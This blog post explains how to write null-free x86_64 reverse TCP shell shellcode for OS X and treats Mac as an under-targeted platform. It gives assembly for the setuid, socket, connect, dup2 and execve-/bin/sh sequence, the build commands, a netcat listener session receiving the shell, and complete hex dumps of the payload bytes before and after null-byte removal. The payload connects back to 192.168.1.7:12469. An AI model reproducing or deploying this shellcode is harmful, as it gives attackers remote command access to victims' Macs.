OS X x86_64 reverse TCP shell shellcode

OS X x86_64 (null-free) reverse TCP shell shellcode

So, i just realized that x86_64 linux syscalls are actually not that different from how they work on current x86_64 Macs (10.7/10.8 and probably before that, too). Which is useful, because while x86_64 linux is great for servers, it is not a widely used client/desktop platform - and Mac is, let's say, under-targeted.

There are really just two tricky things I ran into:

1. To make Unix syscalls on OS X, you need to put 0x02 in the upper order bits of the value you put in rax.
2. You ... eh... actually have to look up BSD syscall numbers, rather than use the 0x86_64 linux values ;)

This #2 seems obvious in hindsight, but if you don't realize, assembly debugging is not exactly going to tell you "hey, moron, you're using the wrong numbering scheme for this platform". Had a good laugh at myself when i finally realized.

#1 i solved by storing this base value in r9, which i could then easily copy into rax, then add/or the relevant BSD syscall number on top of it.

Setting up r9: (null free)

	xor r9d,r9d
	mov r9b, 0x02
	shl r9, 24

i.e. make sure r9 = 0x0, mov 0x02 into it, and then shift left 24 bits to make 0x2000000.

Then, when i need to make a syscall, like socket, f.i., i mov r9 into rax, then add the syscall number:

    mov rax, r9
    add al, sys_socket		; 97
    mov dil, AF_INET		; 2
    mov sil, SOCK_STREAM	; 1
    xor edx, edx
    syscall

The reverse tcp shell code itself is pretty standard/straight-forward. set root privs if we can, create a socket, connect to 192.168.1.7:12469, and if successful, dup2 in a loop to attach stdin, stdout and stderr. Then run an execve to /bin/sh

The source is here:

reverse_tcp_shell_osx.s: http://pastebin.com/tcdHaaQa


To use nasm on OS X, the easiest (though likely not the fastest) way is to install Xcode from the app store. This is free, but only works on 10.7 and up. For older versions you have to get an Apple Developer account.

Then, download the command line tools. This gives you gcc and nasm, but the nasm will be v 0.95 or something. download nasm source and compile (it's basic configure/make stuff)

compile reverse_tcp_shell_osx.s like this:

nasm -f macho64 -g -o reverse_tcp_shell_osx.o reverse_tcp_shell_osx.s
ld -o reverse_tcp_shell_osx reverse_tcp_shell_osx.o

(the "g" is to ease navigation in gdb. you can leave it out)

To test, i simply started a nc on the remote host (add -v/vv if you like):

# nc -l -p 12469
id
uid=501(xxxxxx) gid=20(staff) groups=20(staff),101(com.apple.sharepoint.group.1),12(everyone),....
pwd
/Users/xxxxxx/Dxxxxxxx/xxxxxxx
w
19:57  up 11:13, 3 users, load averages: 0.33 1.11 0.92
USER     TTY      FROM              LOGIN@  IDLE WHAT
xxxxxxx  console  -                 8:45   11:12 -
xxxxxxx  s000     -                19:55       - w
^C


De-nulling the original mostly 64-bit register code was virtually entirely a question of just playing with short/long register names. And with a 192.168.1.7 ip address no trouble there either. But AF_INET in the sockaddr struct comes out as 0x0002. So, without some kind of masking, this leave a null-byte:

otool -td reverse_tcp_shell_osx
reverse_tcp_shell_osx:
(__TEXT,__text) section
0000000000001f79 45 31 c9 41 b1 02 49 c1 e1 18 4c 89 c8 04 7e 31
0000000000001f89 ff 31 f6 0f 05 4c 89 c8 04 61 40 b7 02 40 b6 01
0000000000001f99 31 d2 0f 05 48 89 c7 31 c0 50 48 b8 02 00 30 b5
0000000000001fa9 c0 a8 01 07 50 48 89 e6 31 d2 b2 10 4c 89 c8 04
0000000000001fb9 62 0f 05 31 f6 40 38 c6 72 31 4c 89 c8 04 5a 0f
0000000000001fc9 05 40 80 fe 02 40 fe c6 76 f0 4c 89 c8 04 3b 48
0000000000001fd9 bf 2f 62 69 6e 2f 73 68 ff 48 c1 e7 08 48 c1 ef
0000000000001fe9 08 57 48 89 e7 31 f6 31 d2 0f 05 48 89 ec 4c 89
0000000000001ff9 c8 0c 01 31 ff 0f 05

otool -td reverse_tcp_shell_osx | grep " 00"
0000000000001f99 31 d2 0f 05 48 89 c7 31 c0 50 48 b8 02 00 30 b5

so, i use an old trick by just adding 0x0101 and then subbing that from (r)ax in the next instruction, before we push it to the stack (pointer to this struct will go into rsi):

	mov rax, 0x701a8c0b5300103      ;192.168.1.7:12469 + AF_INET in network order (0002 masked)
	sub ax, 0x0101

Now, no more null-bytes:

otool -td reverse_tcp_shell_osx
reverse_tcp_shell_osx:
(__TEXT,__text) section
0000000000001f75 45 31 c9 41 b1 02 49 c1 e1 18 4c 89 c8 04 7e 31
0000000000001f85 ff 31 f6 0f 05 4c 89 c8 04 61 40 b7 02 40 b6 01
0000000000001f95 31 d2 0f 05 48 89 c7 31 c0 50 48 b8 03 01 30 b5
0000000000001fa5 c0 a8 01 07 66 2d 01 01 50 48 89 e6 31 d2 b2 10
0000000000001fb5 4c 89 c8 04 62 0f 05 31 f6 40 38 c6 72 31 4c 89
0000000000001fc5 c8 04 5a 0f 05 40 80 fe 02 40 fe c6 76 f0 4c 89
0000000000001fd5 c8 04 3b 48 bf 2f 62 69 6e 2f 73 68 ff 48 c1 e7
0000000000001fe5 08 48 c1 ef 08 57 48 89 e7 31 f6 31 d2 0f 05 48
0000000000001ff5 89 ec 4c 89 c8 0c 01 31 ff 0f 05

otool -td reverse_tcp_shell_osx | grep " 00"


So, you can easily write your syscall-based assembly/shellcode in either OS X x86_64 or linux x86_64 and with just minimal modification port it to the other platform.